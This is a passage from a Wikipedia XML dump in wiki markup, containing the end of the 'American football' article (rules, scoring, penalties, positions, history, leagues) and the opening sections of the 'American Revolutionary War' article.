Advancing the ball in American football resembles the ''six-tackle rule'' and the ''play-the-ball'' in [[Rugby league|rugby league football]]. The team that takes possession of the ball (the '''offense''') has four attempts, called '''[[Down (football)|downs]]''', to advance the ball 10 yards towards their opponent's (the '''defense'''&lt;nowiki&gt;'&lt;/nowiki&gt;s) end zone. When the offense gains 10 yards, it gets a '''first down''', or another set of four downs to gain 10 yards. If the offense fails to gain a first down (10 yards) after 4 downs, it loses possession of the ball.

Except at the beginning of halves and after scores (see ''Kickoffs and free kicks'' below), the ball is always put into play by a '''[[Snap (American football)|snap]]'''. All players line up facing each other at the [[line of scrimmage]] (the position on the field where the play begins).  One offensive player, the [[Center (football)|center]], then passes (or &quot;snaps&quot;) the ball between his legs to a teammate, usually the [[quarterback]].

Players can then advance the ball in two ways:
* By running with the ball, also known as '''[[Rush (football)|rushing]]'''. One ball-carrier can hand the ball to another; this is known as a '''handoff'''. 
* By throwing the ball to a teammate, known as '''passing'''.  The forward pass is a key factor distinguishing American and Canadian football from other football sports. The offense can throw the ball forward only once on a play and only from behind the line of scrimmage.  The ball can be thrown sideways or backwards at any time. This type of pass is known as a '''[[Lateral pass|lateral]]''' and is much rarer in American football than in rugby league or rugby union, where a backwards pass is mandatory.

A play or down ends, and the ball becomes dead, after any of the following:
* The player with the ball is forced to the ground or has his forward progress halted by members of the other team (as determined by an official).
* A forward pass flies out of bounds or touches the ground before it is caught. This is known as an '''[[incomplete pass]]'''.  The ball is returned to the original line of scrimmage for the next down.  
* The ball or the player with the ball goes beyond the dimensions of the field ('''out of bounds''').
* A team scores.
* A certain penalty is committed (such as false start) that causes the play to be blown dead and replayed.
[[Official (American football)|Officials]] blow a whistle to notify all players that the play is over. 

At all times, players and fans must be aware of the sequence of downs and the distance to a new first down. When a team has a first down, the scoreboard or television screen flashes &quot;1st and 10&quot; — that is, first down and 10 yards to go. If the team gains three yards on the first play, for example, the next down will be &quot;2nd and 7.&quot;

===Changes of possession===
The offense maintains possession of the ball unless one of the following things happens:

* The team fails to get a first down, that is, move the ball forward at least 10 yards in four downs. The defensive team takes over the ball at the spot where the play ends.  A change of possession in this manner is commonly called a '''turnover on downs'''.
* The offense scores a touchdown or field goal. The team that scored then kicks off the ball to the other team. (See Scoring and Kickoffs below.) 
* The offense punts the ball to the defense. A '''[[punt (football)|punt]]''' is a kick in which a player drops the ball and kicks it before it hits the ground. Punts are nearly always made on fourth down, when the offensive team does not want to risk giving up the ball to the other team at its current spot on the field (through a failed attempt to make a first down) and feels it is too far from the other team's goal posts to kick a field goal.
* A defensive player catches a forward pass. This is called an '''[[interception]]''', and the player who makes the interception can run with the ball until tackled, forced out of bounds, or scores. After the intercepting player is tackled or forced out of bounds, his team's offensive unit returns to the field and takes over at his last position. 
* An offensive player drops the ball (a '''[[fumble]]''') and a defensive player picks it up. As with interceptions, a player recovering a fumble can run with the ball until tackled or forced out of bounds. Lost fumbles and interceptions are together known as '''turnovers'''.
* The offensive team misses a field goal attempt. The defensive team gets the ball at the spot where the previous play began (or, in the NFL, at the spot of the kick). If the unsuccessful kick was attempted from within 20 yards of the end zone, the other team gets the ball at its own 20-yard line (that is, 20 yards from the end zone). 
* An offensive player is tackled, forced out of bounds, or commits certain penalties in his own end zone.  This rare occurrence is called a '''[[Safety (football)|safety]]'''. (See ''Scoring'' below.)

===Scoring===
A team scores points by the following plays:
* A '''[[touchdown]]''' (TD) is worth 6 points. A touchdown is scored when a player runs the ball into or catches a pass in his opponent's end zone. 
** After a touchdown, the scoring team attempts a '''conversion'''. The ball is placed at the other team's 3-yard-line (the 2-yard-line in the NFL). The team can attempt to kick it over the crossbar and through the goal posts in the manner of a field goal for 1 point (an '''[[extra point]]'''), or run or pass it into the end zone in the manner of a touchdown for 2 points (a '''[[two-point conversion]]''').  In [[collegiate]] and [[professional]] leagues, the extra point is usually preferred; its success rate is 94% in the [[NFL]] and 93.8% in the [[NCAA]], compared to 43% in the [[NFL]] and 43.5% in the [[NCAA]] for two-point conversions. If the defense forces a turnover on an attempted conversion and runs the ball back to their opponent's endzone, they are awarded with 2 points (does not apply in the NFL).
* A '''[[field goal]]''' (FG) is worth 3 points, and it is scored by kicking the ball over the crossbar and through the goal posts. Field goals may be placekicked (kicked when the ball is held vertically against the ground by a teammate) or drop-kicked. A field goal is usually attempted on fourth down instead of a punt when the ball is close to the goal line, or, when there is little or no time left to otherwise score.
* A '''[[Safety (football)|safety]]''' is worth 2 points. A safety is scored by the ''defense'' when the offensive player in possession of the ball is forced back into his own end zone and is tackled there, or fumbles the ball out of the end zone. Certain penalties by the offense occurring in the end zone also result in a safety.

===Kickoffs and free kicks===
Each half begins with a [[Kickoff (American football)|kickoff]]. Teams also kick off after scoring touchdowns and field goals. The ball is kicked from a kicking tee, which is made from one's own 30-yard line in the NFL and from the 35-yard line in college football. The other team's kick returner tries to catch the ball and advance it as far as possible. Where he is stopped is the point where the offense will begin its '''drive''', or series of offensive plays. If a kick returner does not want to run with the ball, he has the option to signal for a &quot;fair catch&quot; by waving his hands in the air before the catch.  He will then be allowed to catch the ball and kneel it down on the field without being tackled.  If the kick returner catches the ball in his own end zone, he can either run with the ball, or elect for a '''[[touchback]]''' by kneeling in the end zone. The receiving team can then start its offensive drive from its own 20-yard line. A touchback can also occur when the kick goes out of the end zone. Punts and turnovers in the end zone can also end in touchbacks. If a kickoff goes out of bounds over the sidelines without being interfered by the receiving team, the ball will be placed 30 yards from the spot of the kickoff (traditionally at the receiving team's 40-yard line in the NFL or the 35-yard line in college football).

After safeties, there is a '''[[Safety (American football)#free kick|free kick]]''' instead of a kickoff. A free kick is made from a team's own 20-yard-line and can be punted or placekicked.

===Penalties===
Rule violations are punished with '''penalties'''. Most penalties result in moving the football either towards the endzone in the case of a defensive penalty, or away from the endzone in the case of an offensive penalty. Some defensive penalties give the offense an automatic first down. In addition, if a penalty gives the offensive team enough yardage to gain a first down, the first down is automatically given.  If a penalty occurs during a play, an official throws a yellow flag near the spot of the foul. When the play is over, the team that did not commit the penalty has the option of taking either the penalty or the result of the play. For example, say a defensive player commits an offsides penalty on first down by passing the line of scrimmage before the snap, and the offense gains eight yards on the play. The team with the ball has the option of taking the penalty and repeat the first down with five yards to go, or declining the penalty and scrimmaging with 2nd and 2.

====Some common penalties====
* '''False start''': A player on the offense, other than a back moving parallel to the line of scrimmage, moves just prior to the snap. Five yards.
* '''Offsides''': A player is on the wrong side of the ball at the start of a play.  Five yards.  Similar fouls:  Touching an opponent before the snap is '''encroachment'''; lining up alongside the football instead of behind it is a '''neutral zone infraction'''.
* '''Holding''': A blocker unfairly impedes a would-be tackler or pass receiver, by grabbing the player's jersey, hooking, or tackling.  When commited by the offense, or by either team on a change of possession, the penalty is ten yards.  When committed by the defense, the penalty is five yards and an automatic first down is awarded to the offense.  If the penalty occurred beyond the line of scrimmage, the penalty would be enforced from the spot of the foul.
* '''Pass interference''': After a pass is launched into the air, a defender pushes, hooks, grabs, or knocks down a would-be pass receiver, or if the receiver does the same to the defender to prevent an interception.  First down at the spot of the foul if against the defense (15 yards from the previous spot in college football), or ten yards from the previous spot if against the offense.  Similar penalties before a pass are called as '''holding''' or '''illegal contact'''.
* '''Facemask''': a player places his hand on an opponent's facemask during a play.  Five yards, or fifteen (a '''personal foul''') if the player hooks his fingers into the facemask or pulls on it.
* '''Roughing the passer/kicker''': A player places a hard hit on a passer long enough after a pass has been thrown to consider the contact avoidable, or places a hard hit on a punter or place kicker.  Fifteen yards and automatic first down.
* '''Running into the kicker''': A lighter contact on a kicker, especially after the kick has been made.  Five yards.
* '''Intentional grounding''': The passer throws a forward pass not near any eligible receiver, without first leaving the area behind where the blocking linemen were standing before the snap (the &quot;pocket&quot;), or the passer throws a forward pass outside of the pocket which does not reach the original '''line of scrimmage''' and is not near any eligible receiver.  Ten yards plus loss of down, except if the penalty occurred in the end zone, then it is ruled a safety, and the defense is awarded 2 points.  In college football and high school football, the defense is also credited with a quarterback sack.  Note that spiking the ball to stop the clock is exempt from this.
* '''Ineligible receiver downfield''': On every play the offense must have 7 players on the line of scrimmage, the player furthest from the ball on each side are eligible receivers; the interior five players are considered ineligible to receive passes.  This penalty is called if one of the 5 interior players is more than five yards past the line of scrimmage during a forward pass.
* '''Dead ball personal foul''': After the play is blown dead, a player tackles or makes rough contact with a player on the other team. Fifteen yards, automatic first down if on defense.
* '''Unnecessary roughness''': A catch-all for rough play that doesn't merit its own foul.  An example is an avoidable late hit on a ball carrier who has run out of bounds.  Fifteen yards.
* '''Unsportsmanlike conduct''': Another catch-all call, commonly used for taunting, excessive celebration after a touchdown, and certain banned forms of pantomime (like slashing the throat).  Fifteen yards.

==The players==
{{Main|American football positions}}
As noted above, most football players have highly specialized roles. At the college and NFL levels, most play only offense or only defense.

===Offense===
* The '''[[offensive line]]''' consists of five players whose job is to protect the passer and clear the way for runners by blocking members of the defense. Except for the center, offensive linemen generally do not handle the ball.
* The '''[[quarterback]]''' receives the ball on most plays. He then hands or tosses it to a running back, throws it to a receiver or runs with it himself. 
*'''[[Running back]]s''' line up behind or beside the QB and specialize in rushing with the ball. They also block, catch passes and, on rare occasions, pass the ball to others.
*'''[[Wide receiver]]s''' line up near the sidelines. They specialize in catching passes.
*'''[[Tight end]]s''' line up outside the offensive line. They can either play like wide receivers (try to catch passes) or like offensive linemen (protect the QB or create spaces for runners).

Not all of these types of players will be in on every offensive play. Teams can vary the number of wide receivers, tight ends and running backs on the field at one time.

===Defense===
* The '''[[defensive line]]''' consists of three to five players who line up across from the offensive line. They try to tackle the running backs before they can gain yardage or the quarterback before he can throw a pass.
* At least three players line up as '''[[defensive back]]s'''. They cover the receivers and try to stop pass completions. They occasionally rush the quarterback. 
* The other players on the defense are known as '''[[linebacker]]s'''. They line up between the defensive line and backs and may either rush the quarterback or cover potential receivers.

===Special teams===
The units of players who handle kicking plays are known as '''[[special teams]]'''. Special-teams feature players that include the '''[[punter (football position)|punter]]''', who handles punts, and the '''[[placekicker]]''' or '''kicker''', who kicks off and attempts field goals and extra points.

==Basic football strategy==
{{Main|American football strategy}}

To many fans, the chief draw of football is the chess game that goes on between the two coaching staffs. Each team has a '''playbook''' of dozens to hundreds of plays. Plays are the directions for what the players should do on a down. Some plays are very safe; they are very likely to get a few yards, but not much more than that. Other plays have the potential for long gains but a greater risk of a loss of yardage or a turnover. 

Generally speaking, rushing plays are less risky than passing plays. However, there are relatively safe passing plays and risky running plays. To fool the other team, there are passing plays designed to look like running plays and vice versa. There are many trick or gadget plays, such as when a team lines up like it is going to kick and then tries to run or pass for a first down. Such high-risk plays are a great thrill to the fans when they work.  However, they can spell disaster if the opposing team realizes the deception and acts accordingly.

It has been said that football is the closest sport that strategically resembles real war, which may explain why it is by far the most popular sport in the American military. In fact, the [[United States Military Academy]], the [[United States Naval Academy]], and the [[United States Air Force Academy]] each field football teams that participate in [[Division I-A]] of the [[National Collegiate Athletic Association|NCAA]]. Army and Navy have a particularly historic [[Army-Navy Game|rivalry]].

==A physical game==
American football is a collision sport. To stop the offense from advancing the ball, the defense must tackle the player with the ball by knocking him down. As such, defensive players must use some form of physical contact to bring the ball-carrier to the ground, within certain rules and guidelines. Tacklers cannot kick, punch or trip the runner. They also cannot grab the face mask of the runner's helmet, lead into a tackle with their own helmet, or lift the ball carrier up off his feet and drop him. Despite these and other rules regarding unnecessary roughness, most other forms of tackling are legal. Blockers and defenders trying to evade them also have wide leeway in trying to force their opponents out of the way. Quarterbacks are regularly hit by defenders coming on full speed from outside the quarterback's field of vision. 

The high level of physical contact in football makes it more dangerous than other major American team sports. To compensate for this, players must wear a good deal of special protective equipment, such as a padded plastic [[football helmet|helmet]], [[shoulder pads]], hip pads and knee pads. These protective &quot;paddings&quot; were introduced decades ago and improved ever since to help minimize lasting injury to players. 

Despite protective equipment and rule changes to emphasize safety, injuries remain very common in football, due to its physical nature. Twenty-five football players, mostly high schoolers, died from injuries directly related to football from 2000-2004, according to the National Center for Catastrophic Sport Injury Research.  [[concussion|Concussions]] are common, with an estimated 62,000 suffered every year among high school players according to the Brain Injury Association of Arizona.  [http://www.prnewswire.com/cgi-bin/stories.pl?ACCT=104&amp;STORY=/www/story/08-23-2005/0004093186&amp;EDATE=].  It is common to see injuries in the game, and deaths are not unheard of. The game is particularly risky when played by amateurs without proper gear, such as is common amongst Americans in backyards and parks across the country. 

Some have criticized American football as a violent sport. American football is indeed quite physical in comparison to sports like [[basketball]] and [[soccer]] as well as other major American team sports. Tackle football is often banned in American schoolyards in favor of [[touch football]], which uses two-hand touching instead of tackling; or [[flag football]] in which a player is &quot;tackled&quot; when an opponent pulls a flag off a belt attached to the player's waist.  School [[physical education]] classes often use the &quot;two-hand touch&quot; version of the game, leaving the tackles to the school's official after-school sports program which can provide the appropriate gear and supervision.

The level of physical aggression and risk of injury has also made football less appealing to females, as they generally lack the muscle and body mass to compete without serious risk. The tackle nature of football also tends to favor the largest and strongest players, along with the fastest. The average weight of players in the NFL has increased in recent years.

All these factors have brought the sport into controversy in the past few decades, joining the group of other &quot;violent&quot; and thus controversial sports such as [[dodgeball]], [[wrestling]], [[hockey]], and [[boxing]]. Critics argue that these sports emphasize size, physical strength, and brute force, and breed aggression and unhealthy competitive attitudes in children. Others argue that such sports teach sportsmanship and teamwork, and though [[contact sports]] are all violent to some degree, they always emphasize skill and strategy over mere belligerence.

==Development of the game==
{{Details|History of American football}}

Both American football and soccer have their origins in [[football|varieties of football]] played in the [[United Kingdom]] in the mid-19th century, and American football is directly descended from [[rugby football]].

Rugby was first introduced to North America in [[Canada]], brought by the [[British Army]] garrison in [[Montreal]] which played a series of games with [[McGill University]]. Both Canadian and American football evolved from this point. For an in-depth overview of the differences and similarities of [[Canadian football]] and American football see: [[Comparison of Canadian and American football]]

American colleges spearheaded the growth of football.  The [http://www.scarletknights.com/football/history/first_game.htm first inter-collegiate football game] was played between Rutgers and Princeton Universities on November 6, 1869.  The game was won by Rutgers (6-4) although &quot;The game, which bore little resemblance to its modern-day counterpart, was played with two teams of 25 men each under rugby-like rules, but like modern football, it was “replete with surprise, strategy, prodigies of determination, and physical prowess,” to use the words of one of the Rutgers players.&quot; - [http://www.scarletknights.com/football/history/first_game.htm Rutgers Football]

American football in its current form grew out of a series of three games between [[Harvard University]] and [[McGill University]] of [[Montreal]] in 1874. McGill played [[rugby football]] while Harvard played the [[Boston Game]], which was closer to soccer. As often happened in those days of far from universal rules, the teams alternated rules so that both would have a fair chance. The Harvard players liked having the opportunity to run with the ball, and in 1875 persuaded [[Yale University]] to adopt rugby rules for their annual game. In 1876 Yale, Harvard, [[Princeton University|Princeton]], and [[Columbia University|Columbia]] formed the [[Intercollegiate Football Association]], which used the rugby code, except for a slight difference in scoring.

In 1880 [[Walter Camp]] introduced the scrimmage in place of the rugby [[Scrum (rugby)|scrum]]. In 1882 the system of downs was introduced to thwart Princeton's and Yale's strategy of controlling the ball without trying to score. In 1883 the number of players was reduced, at Camp's urging, to eleven, and Camp introduced the soon standard arrangement of a seven-man offensive line with a quarterback, two halfbacks, and a fullback.

On [[September 3]], [[1895]] the first professional football game was played, in [[Latrobe, Pennsylvania]], between the Latrobe [[YMCA]] and the Jeannette Athletic Club. (Latrobe won the contest 12-0.).  

By the 1890s interlocking offensive formations such as the flying wedge and the practice of teammates physically dragging ball-carrying players forward had made the game extremely dangerous. Despite restrictions on the flying wedge and other precautions, in 1905 eighteen players were killed in games. President [[Theodore Roosevelt]] informed the universities that the game must be made safer.  To force them to respond to his concerns, he threatened to pressure Congress to make playing football a federal crime.

In 1906, two rival organizing bodies, the [[Intercollegiate Rules Committee]] and the [[Intercollegiate Athletic Association]], met in New York; eventually they agreed on several new rules intended to make the game safer, among them the addition of a neutral zone between the scrimmage lines and a requirement that at least six players from each team line up on them. The most far-reaching innovation they considered, though, was the legalization of the forward pass. This was very controversial at the time, much derided by purists. As an alternative means of opening out the play, Walter Camp would have preferred widening the field; but representatives from Harvard pointed to recently constructed [[Harvard Stadium]], which could not be widened, and the forward pass was adopted; it has come to shape the whole history of American football, as opposed to its cousins around the world.

In 1910, after further deaths, interlocking formations were finally outlawed; and in 1912 the field was changed to its current size, the value of a touchdown increased to 6 points, and a fourth down added to each possession. The game had achieved its modern form.

==Problems in football==
{{Main|Issues in American Football}}

Injuries are more common in American football than in many other sports, although rule changes made in the past 90 years (for instance, the elimination of &quot;[[Horse-collar tackle|horse-collar tackles]]&quot;) have gradually lowered the rates of injuries. In addition, protective equipment has become better - for example, the optional leather helmets introduced during the 1890s have been replaced (in several stages) by required high-tech padded plastic helmets with bars protecting the face.

More recently, the use of steroids and the extent thereof has become an object of debate in professional, college, and even high school football leagues.

Another problem with football is that it is an expensive sport.  The specialized helmets, uniforms, and pads can cost hundreds of dollars.  There is a widespread perception that football teams based in schools and public recreational leagues consume far more than their fair share of the sports budget, although sales of tickets to college (and to some extent high school) football games often make it a revenue-producing sport.

[[Image:DSCN4567_clevelandbrownsstadium_e2.jpg|thumb|300px|[[Cleveland Browns Stadium]] in [[Cleveland, Ohio]], home of the [[Cleveland Browns]].]]

==Professional, college, and other leagues==
Football is played at a number of levels in the United States.  These include the following:
* [[National Football League]] (NFL) - the top-level men's professional league
* [[NFL Europe]] - semi-professional league in [[Europe]]
* [[College football]] - played at many U.S. colleges
* [[American Football Association]] National organization for the advancement and promotion of semi-pro/minor league football teams and leagues in the United States.
* [[North American Football League]] - Amateur minor league with more than 100 member organizations since 1996
* [[Women's American football]] - since 2000, there has been a surge of women's professional leagues.
* High school football - played at most U.S. High Schools
* [[Pop Warner Little Scholars|Pop Warner]] or youth football - involves younger children who are too young to play high school, generally in middle school.
* [[Sprint football]] - players must weigh no more than 172 pounds

American football is also played in many nations around the world.  Some of the organizations/leagues that play American football are:
* [[Mexican College Football]] League or [[ONEFA]] - played by many Mexican colleges, with essentially NCAA rules
* [[British Collegiate American Football League]] (BCAFL) - Fast-growing college football league in the UK
* [[British American Football League]] (BAFL)-Higher League of American Football in the UK
* [[European Federation of American Football]] (www.efaf.info) European organization that crowns its champion in the [[Euro Bowl]]
* [[German Football League]]
* [[Gridiron Australia]] - national body of several state-level leagues
* [[International Federation of American Football]] International governing body for American football with 39 member associations from North America, Europe, Asia and Oceania.  The IFAF also overseas the World Championship of American Football.
* [[Okinawan Football League]] - Various football teams made up of U.S. servicemembers and one from Ryuku University

Other kinds of football with quite different rules:
* [[Canadian Football League]] (CFL) - men's professional league based in [[Canada]], played using different rules known as [[Canadian football]]
* [[Arena Football League]] - mid-level men's professional league. Played in indoor stadiums, hence the name &quot;arena&quot; football. One of the nation's fastest-growing sports.
* [[Nine-man football]], [[Eight-man football]], and [[Six-man football]] - variations of high school football, usually played in sparsely populated areas
* Amateur and youth league football
* [[Flag football]] and [[Touch football (American)|Touch football]] - non-tackle; almost exclusively amateur

The descriptions in this article are based primarily on the current rules of the [[National Football League]] (NFL, 1920-present). Differences with college rules will be noted. Professional, college, high school, and amateur rules are similar.

Professional leagues that no longer exist:
* [[World Football League]] (WFL, 1974-75) 
* [[United States Football League]] (USFL, 1983-1985) 
* [[XFL]] (XFL, 2001)
* [[All-America Football Conference]] (AAFC, 1946-1949) (2 teams are now in the NFL) 
* [[World League of American Football]] (WLAF, 1991-1993 &amp;mdash; now [[NFL Europe]]), 
* [[American Football League]]s (AFL),  four separate ones: I:1926, II: 1937-38, III: 1940-1941 and IV: 1960-1969). The fourth AFL (1960-1969) merged with the NFL in 1970 and now exists (mostly) as the [[American Football Conference|AFC]] with several new teams. The old NFL appeared as the [[National Football Conference|NFC]].

Fore more information: [[List of leagues of American football]]

==References==
* {{cite web
 | url=http://www.nfl.com/fans/

 | title=Digest of Rules
 | publisher= National Football League
 | accessdate=December 28
 | accessyear=2005
 }}
* {{cite web
 | url=http://www.nfl.com/history
 | title=History and the basics
 | publisher=National Football League
 | accessdate=December 28
 | accessyear=2005
 }}
* {{cite web
 | url=http://www.thesportjournal.org/2005Journal/Vol8-No4/starkey.asp
 | title=Playing with the Percentages When Trailing by Two Touchdowns
 | publisher=Montana State University
 | accessdate=December 24
 | accessyear=2005
 }}

==See also==
*[[American football strategy]]
*[[National Women's Football Association]]
*[[Canadian Football League]]
*[[German Football League]]
*[[Glossary of American football| American football glossary]]
*[[List of American football players]]
*[[Pro Football Hall of Fame]]
*[[List of defunct sports leagues]]
*[[Fantasy Football]]
*[[Gridiron football]]

==External links==
*The [http://www.nfl.com/ National Football League (NFL)] - the top professional league
*[http://www.players.com NFL Players Association]
*NCAA [http://www2.ncaa.org/media_and_events/ncaa_publications/playing_rules/ Playing Rules] (complete college football rules are available as a PDF file)
*[http://www.afca.org American Football Coaches Association]
*[http://memory.loc.gov/cgi-bin/query/S?ammem/papr:@FILREQ(@field(TITLE+@od1(Chicago-Michigan+football+game++))+@FIELD(COLLID+workleis)) Movie of 1903 football game between the University of Chicago and the University of Michigan]
*[http://www.nfl.com/history/chronology/ Chronology of many events in the NFL]
*[http://www.iwflsports.com The Women's League]
*[http://www.unc.edu/depts/nccsi/SurveyofFootballInjuries.htm Annual Survey of Football Injury Research]
*[http://www.playfootball.com/footballfacts/basics.html Football Basics]
*[http://football.about.com/od/football101/ Football FAQ]
*[http://football-plays-and-drills.com/encyclopedia Football Plays, Drills &amp; Fundamentals] - Resource for coaches &amp; players.

[[Category:American football| ]]
[[Category:Team sports]]

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  </page>
  <page>
    <title>American Revolutionary War</title>
    <id>771</id>
    <revision>
      <id>41962067</id>
      <timestamp>2006-03-02T22:26:17Z</timestamp>
      <contributor>
        <username>TexasAndroid</username>
        <id>271376</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/69.196.45.115|69.196.45.115]] ([[User talk:69.196.45.115|talk]]) to last version by Misza13</comment>
      <text xml:space="preserve">{{Warbox|
conflict=American Revolutionary War
|campaign=
|image=[[Image:Sprit of '76.2.jpeg|200px]]
|caption=
|date=1775–1783
|place=[[North America]]
|result=[[Treaty of Paris (1783)]]
|combatant1=[[Patriot (American Revolution)|American Revolutionaries]], [[France]], [[Netherlands]], [[Spain]], allies 
|combatant2=[[British Empire]], allies
|commander1=[[George Washington]]&lt;br&gt;[[Comte de Rochambeau|Comte&amp;nbsp;de&amp;nbsp;Rochambeau]]&lt;br&gt;[[Nathanael Greene]]
|commander2=[[William Howe, 5th Viscount Howe|William Howe]]&lt;br&gt;[[Henry Clinton (American War of Independence)|Henry Clinton]]&lt;br&gt;[[Charles Cornwallis|Charles&amp;nbsp;Cornwallis]]
|}}

The '''American Revolutionary War''' (1775–1783), also known as the '''American War of Independence''', was the military component of the [[American Revolution]]. It was fought primarily between [[Kingdom of Great Britain|Great Britain]] and revolutionaries within [[13 colonies|thirteen British colonies]] in [[North America]], who proclaimed themselves as the [[United States|United States of America]] early in the war. The war began largely as a colonial revolt against the [[mercantilism|economic policies]] of the [[British Empire]], and eventually widened far beyond [[British North America]], with [[France]], [[Spain]], and the [[Netherlands]] entering the war against Great Britain. Additionally, many [[Native Americans in the United States|Native Americans]] fought on both sides of the conflict.

Throughout the war, the British were able to use their naval superiority to capture and occupy coastal cities, but control of the countryside (where most of the population lived) largely eluded them. French involvement proved decisive, with a naval [[Battle of the Chesapeake|victory in the Chesapeake]] leading to the surrender of a British army at the [[Battle of Yorktown (1781)|Battle of Yorktown]] in 1781. The [[Treaty of Paris (1783)|Treaty of Paris]] in 1783 recognized the independence of the [[United States|United States of America]].

The terms ''American Revolutionary War'' and ''American Revolution'' are often used interchangeably, though the American Revolution included political and social developments before and after the war itself. This article refers solely to the military campaign; for a broader perspective, including the origins and aftermath of the war, see the article on the [[American Revolution]].

== Combatants ==
===Choosing sides===
Colonists were divided over which side to support in the war; in some areas, the struggle was a [[civil war]]. The [[Patriot (American Revolution)|Revolutionaries]] (also known as Americans or Patriots) had the support of about 40 to 45 percent of the colonial population. About 15 to 20 percent of the population supported the British Crown during the war, and were known as [[Loyalist (American Revolution)|Loyalists (or Tories)]]. Loyalists fielded perhaps 50,000 men during the war years in support of the British Empire. After the war, some 70,000 Loyalists departed, most going to [[Canada]], Great Britain, or to British colonies in the [[Caribbean]].{{ref|loyalists}}

When the war began, the Americans did not have a professional [[armed force|army]] (also known as a &quot;[[standing army]]&quot;). Each colony had traditionally provided for its own defenses through the use of local [[militia]]. Militiamen served for only a few weeks or months at a time, were generally reluctant to go very far from home, and would often come and go as they saw fit. Militia typically lacked the training and discipline of regular troops, but could be effective when an emergency energized them. 

Seeking to coordinate military efforts, the [[Continental Congress]] established (on paper) a regular army—the [[Continental Army]]—in June 1775, and appointed [[George Washington]] as [[commander-in-chief]]. The development of the Continental Army was always a work in progress, and Washington reluctantly augmented the regular troops with militia throughout the war. Although as many as 250,000 men may have served as regulars or as militiamen for the Revolutionary cause in the eight years of the war, there were never more than 90,000 total men under arms for the Americans in any given year. Armies in North America were small by European standards of the era; the greatest number of men that Washington personally commanded in the field at any one time was fewer than 17,000.{{ref|continental}}

===European nations===
[[Image:Us unabhaengigkeitskrieg.jpg|thumb|right|300px|German troops serving with the British in North America. (C Ziegler after Conrad Gessner, 1799)]]
Early in 1775, the British army consisted of about 36,000 men worldwide, but wartime [[recruitment]] steadily increased this number. Additionally, over the course of the war the British hired about 30,000 [[Ethnic German|German]] [[mercenaries]], popularly known in the colonies as &quot;[[Hessians]]&quot; because many of them came from [[Hesse-Kassel]]. Germans would make up about one-third of the British troop strength in North America. By 1779, the number of British and German troops stationed in North America was over 60,000, though these were spread from [[Canada]] to [[Florida]].{{ref|British}}

[[France]], the [[Netherlands]] and [[Spain]] entered the war against Great Britain in an attempt to dilute Britain's emerging [[superpower]] status. Early on, all three countries quietly provided financial assistance to the American rebels. [[France in the American Revolutionary War|France officially entered the war]] in 1778 and soon sent troops, ships, and military equipment to fight against the British for the remainder of the war. Spain entered the war in 1779, officially as an ally of France but not the United States&amp;mdash;Spain was not keen on encouraging similar rebellions in [[Spanish Empire|her own empire]]. The Netherlands entered the war late in 1780, but was soon overwhelmed by the British.

===Blacks and Native Americans===
[[African-Americans]], [[Slavery in the United States|slaves]] and [[free black]]s, served on both sides during the war.  Black soldiers served in northern militias from the outset, but this was forbidden in the South, where slaveowners feared arming slaves. [[John Murray, 4th Earl of Dunmore|Lord Dunmore]], the Royal Governor of [[Virginia]], issued an emancipation proclamation in November 1775, promising freedom to runaway slaves who fought for the British; [[Henry Clinton (American War of Independence)|Sir Henry Clinton]] issued a similar edict in New York in 1779.  Tens of thousands of slaves escaped to the British lines, although possibly as few as 1,000 served under arms.  Many of the rest served as orderlies, mechanics, laborers, servants, scouts and guides, although more than half died in smallpox epidemics that swept the British forces, and a number were driven out of the British lines when food ran low. Despite Dunmore's promises, the majority were not given their freedom.{{ref|black_loyalists}}

In response, and because of manpower shortages, Washington lifted the ban on black enlistment in the Continental Army in January 1776. All-black units were formed in [[Rhode Island]] and [[Massachusetts]]; many were slaves promised freedom for serving in lieu of their masters. Another all-black unit came from [[Haiti]] with French forces. At least 5,000 black soldiers fought for the Patriot cause.{{ref|black_patriots}}

Most [[Native Americans in the United States|American Indian]] communities east of the [[Mississippi River]] were affected by the war, many divided over the question of which side to support. Most Native Americans who joined the fight fought against the United States, since native lands were threatened by expanding American settlement. An estimated 13,000 warriors fought on the British side; the largest group, the [[Iroquois Confederacy]], fielded about 1,500 warriors against the Americans.{{ref|warriors}}

== War in the North ==
=== Massachusetts, 1774 to 1776 ===
[[Image:American Revolution Campaigns 1775 to 1781.jpg|250px|right|thumb|Map of campaigns in the Revolutionary War]]

In 1774, the [[Parliament of the United Kingdom|British parliament]] effectively [[Massachusetts Government Act|abolished the provincial government]] of [[Massachusetts]]. [[Lieutenant General]] [[Thomas Gage]], already the [[commander-in-chief]] of British troops in North America, was also appointed governor of Massachusetts and was instructed by [[George III of the United Kingdom|King George's]] government to enforce royal authority in the troublesome colony. However, popular resistance compelled the newly appointed royal officials in Massachusetts to resign or to seek refuge in [[Boston, Massachusetts|Boston]]. Gage commanded four [[regiment]]s of British regulars (about 4,000 men) from his headquarters in Boston, but the countryside was in the hands of the Revolutionaries.

On the night of [[April 18]] [[1775]], General Gage sent 900 men to seize [[munition]]s stored by the colonial militia at [[Concord, Massachusetts]]. Several riders—including [[Paul Revere]]—alerted the countryside, and when the British troops entered [[Lexington, Massachusetts|Lexington]] on the morning of April 19, they found 75 [[Minutemen (militia)|minutemen]] formed up on the village common. Shots were exchanged, and the British moved on to Concord, where there was more fighting. By the time the &quot;redcoats&quot; (as the British soldiers were called) began the return march, several thousand militiamen had gathered along the road. A running fight ensued, and the British detachment suffered heavily. With the [[Battle of Lexington and Concord]]—the &quot;[[shot heard 'round the world]]&quot;—the war had begun.

Afterwards, thousands of militiamen converged on Boston, [[siege of Boston|bottling up the British]] in the city. Late in May, Gage received by sea about 4,500 reinforcements and a trio of generals who would play a vital role in the war: [[William Howe, 5th Viscount Howe|William Howe]], [[John Burgoyne]], and [[Henry Clinton (American War of Independence)|Henry Clinton]]. They formulated a plan to break out of the city.

On [[June 17]], [[1775]], British forces under General Howe seized the Charleston peninsula at the [[Battle of Bunker Hill]]. The battle was technically a British victory, but losses were so heavy that the attack was not followed up. Thus the [[siege]] was not broken, and General Gage was soon replaced by General Howe as the British commander-in-chief.

